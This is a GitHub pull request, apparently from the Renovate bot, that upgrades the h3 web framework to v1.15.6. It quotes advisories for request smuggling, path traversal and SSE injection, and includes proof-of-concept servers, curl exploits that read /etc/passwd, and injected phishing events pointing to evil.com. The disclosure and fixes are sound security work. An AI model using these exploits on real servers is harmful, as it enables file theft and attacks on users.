Skip to content

Update dependency h3 to v1.15.6 [SECURITY]#27

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-h3-vulnerability
Open

Update dependency h3 to v1.15.6 [SECURITY]#27
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-h3-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jan 15, 2026

This PR contains the following updates:

Package Change Age Confidence
h3 (source) 1.15.31.15.6 age confidence

GitHub Vulnerability Alerts

CVE-2026-23527

I was digging into h3 v1 (specifically v1.15.4) and found a critical HTTP Request Smuggling vulnerability.

Basically, readRawBody is doing a strict case-sensitive check for the Transfer-Encoding header. It explicitly looks for "chunked", but per the RFC, this header should be case-insensitive.

The Bug: If I send a request with Transfer-Encoding: ChuNked (mixed case), h3 misses it. Since it doesn't see "chunked" and there's no Content-Length, it assumes the body is empty and processes the request immediately.

This leaves the actual body sitting on the socket, which triggers a classic TE.TE Desync (Request Smuggling) if the app is running behind a Layer 4 proxy or anything that doesn't normalize headers (like AWS NLB or Node proxies).

Vulnerable Code (src/utils/body.ts):

if (
    !Number.parseInt(event.node.req.headers["content-length"] || "") &&
    !String(event.node.req.headers["transfer-encoding"] ?? "")
      .split(",")
      .map((e) => e.trim())
      .filter(Boolean)
      .includes("chunked") // <--- This is the issue. "ChuNkEd" returns false here.
  ) {
    return Promise.resolve(undefined);
  }

I verified this locally:

  • Sent a Transfer-Encoding: ChunKed request without a closing 0 chunk.
  • Express hangs (correctly waiting for data).
  • h3 responds immediately (vulnerable, thinks body is length 0).

Impact: Since H3/Nuxt/Nitro is often used in containerized setups behind TCP load balancers, an attacker can use this to smuggle requests past WAFs or desynchronize the socket to poison other users' connections.

Fix: Just need to normalize the header value before checking: .map((e) => e.trim().toLowerCase())

GHSA-wr4h-v87w-p3r7

Summary

serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

Details

The vulnerability exists in src/utils/static.ts at line 86:

const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));

On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).

This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).

The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

image

Vulnerability chain

1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)
3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)
4. getMeta(id):       id = "/../../../etc/passwd"         (no traversal check)
5. path.join(root,id): /etc/passwd                        (.. resolved by OS)
6. Response:          contents of /etc/passwd

PoC

Vulnerable server (server.ts)

import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public");
const app = new H3();

app.all("/**", (event) =>
  serveStatic(event, {
    getMeta: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        const stat = statSync(filePath);
        return { size: stat.size, mtime: stat.mtime };
      } catch {
        return undefined;
      }
    },
    getContents: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        return readFileSync(filePath);
      } catch {
        return undefined;
      }
    },
  })
);

serve({ fetch: app.fetch });

Exploit

# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Result

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Proof:

image

Pwned by 0xkakashi

image

Impact

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().

This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.

Exploitable files include but are not limited to:

  • /etc/passwd, /etc/shadow (if readable)
  • Application source code and configuration files
  • .env files containing secrets, API keys, database credentials
  • Private keys and certificates

CVE-2026-33128

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

export function formatEventStreamComment(comment: string): string {
  return `: ${comment}\n\n`;
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${message.id}\n`;
  }
  if (message.event) {
    result += `event: ${message.event}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  result += `data: ${message.data}\n\n`;
  return result;
}

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

  1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
  2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
  3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
  4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format:        Actual wire format (with \n injection):

event: message               event: message
data: attacker: hey          event: admin              ← INJECTED
                             data: ALL_USERS_HACKED    ← INJECTED
                             data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended:                    Actual (with \n\n injection):

event: message               event: message
data: bob: hi                data: bob: hi
                                                        ← event boundary
                             event: system              ← INJECTED event
                             data: Reset: evil.com      ← INJECTED data

Before exploit:
image

image

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";

const app = new H3();
const clients: any[] = [];

app.get("/events", (event) => {
  const stream = createEventStream(event);
  clients.push(stream);
  stream.onClosed(() => {
    clients.splice(clients.indexOf(stream), 1);
    stream.close();
  });
  return stream.send();
});

app.get("/send", async (event) => {
  const query = getQuery(event);
  const user = query.user as string;
  const msg = query.msg as string;
  const type = (query.type as string) || "message";

  for (const client of clients) {
    await client.push({ event: type, data: `${user}: ${msg}` });
  }

  return { status: "sent" };
});

serve({ fetch: app.fetch });

Exploit

# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit

The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.

Proof:

image image

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

  • Cross-user content injection — inject fake messages in chat applications
  • Phishing — inject fake system notifications with malicious links
  • Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
  • Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms
  • Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.


Release Notes

h3js/h3 (h3)

v1.15.6

Compare Source

compare changes

🩹 Fixes
  • sse: Sanitize newlines in event stream fields to prevent SSE injection (840ac5c)
  • static: Prevent path traversal via percent-encoded dot segments (6465e1b)

v1.15.5

Compare Source

compare changes

[!IMPORTANT]
Security: Fixed a bug in readBody(event) and readRawBody(event) utils where certain Transfer-Encoding header formats could cause the request body to be ignored.

In some deployments (for example, behind TCP load balancers or non-normalizing proxies), this could allow request smuggling. The handling is now safe and fully compliant. (read more)

🩹 Fixes
  • readRawBody: Fix case-sensitive Transfer-Encoding check causing request smuggling risk (618ccf4)

v1.15.4

Compare Source

compare changes

🩹 Fixes
  • getRequestHost: Return first host from x-forwarded-host (#​1175)
💅 Refactors
  • useSession: Backport SessionManager interface to fix types (#​1058)
🏡 Chore
❤️ Contributors

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title Update dependency h3 to v1.15.5 [SECURITY] Update dependency h3 to v1.15.6 [SECURITY] Mar 18, 2026
@renovate renovate bot force-pushed the renovate/npm-h3-vulnerability branch from 3f21389 to f43e88a Compare March 18, 2026 22:42
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants